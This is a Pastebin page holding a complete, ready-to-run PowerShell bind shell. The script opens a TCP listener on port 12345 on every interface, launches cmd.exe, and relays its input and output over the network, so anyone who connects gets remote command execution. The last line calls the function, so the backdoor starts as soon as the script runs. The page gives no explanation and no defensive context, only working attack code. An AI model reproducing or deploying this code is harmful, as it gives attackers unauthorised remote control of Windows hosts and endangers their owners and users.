Advertisement
powershell

Powershell Bind Shell

Sep 2nd, 2013
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.75 KB | None | 0 0
  1. function BindShell {
  2.  
  3. $port = "12345"
  4. $encoding = new-object System.Text.AsciiEncoding
  5. $endpoint = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, $port)
  6. $listener = new-object System.Net.Sockets.TcpListener $endpoint
  7. $listener.start()
  8. $socket = $listener.AcceptTcpClient()
  9. $networkstream = $socket.GetStream()
  10. $networkbuffer = New-Object System.Byte[] $socket.ReceiveBufferSize
  11. $process = New-Object System.Diagnostics.Process
  12. $process.StartInfo.FileName = "C:\\windows\\system32\\cmd.exe"
  13. $process.StartInfo.RedirectStandardInput = 1
  14. $process.StartInfo.RedirectStandardOutput = 1
  15. $process.StartInfo.UseShellExecute = 0
  16. $process.Start()
  17. $inputstream = $process.StandardInput
  18. $outputstream = $process.StandardOutput
  19.  
  20. Start-Sleep 1
  21.  
  22. while($outputstream.Peek() -ne -1){
  23. $string += $encoding.GetString($outputstream.Read())
  24. }
  25. $networkstream.Write($encoding.GetBytes($string),0,$string.Length)
  26. $string = ''
  27. $done = $false
  28. while (-not $done) {
  29. $pos = 0
  30. $i = 1
  31. while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
  32. $read = $networkstream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
  33. $pos+=$read
  34. if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {
  35. break
  36. }
  37. }
  38. if ($pos -gt 0) {
  39. $string = $encoding.GetString($networkbuffer,0,$pos)
  40. $inputstream.write($string)
  41.  
  42. # Write Output
  43. $out = $encoding.GetString($outputstream.Read())
  44. while($outputstream.Peek() -ne -1){
  45. $out += $encoding.GetString($outputstream.Read())
  46. }
  47. $networkstream.Write($encoding.GetBytes($out),0,$out.length)
  48. $out = $null
  49. }
  50. else {$done = $true}
  51. }
  52.  
  53. }
  54.  
  55. bindshell
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement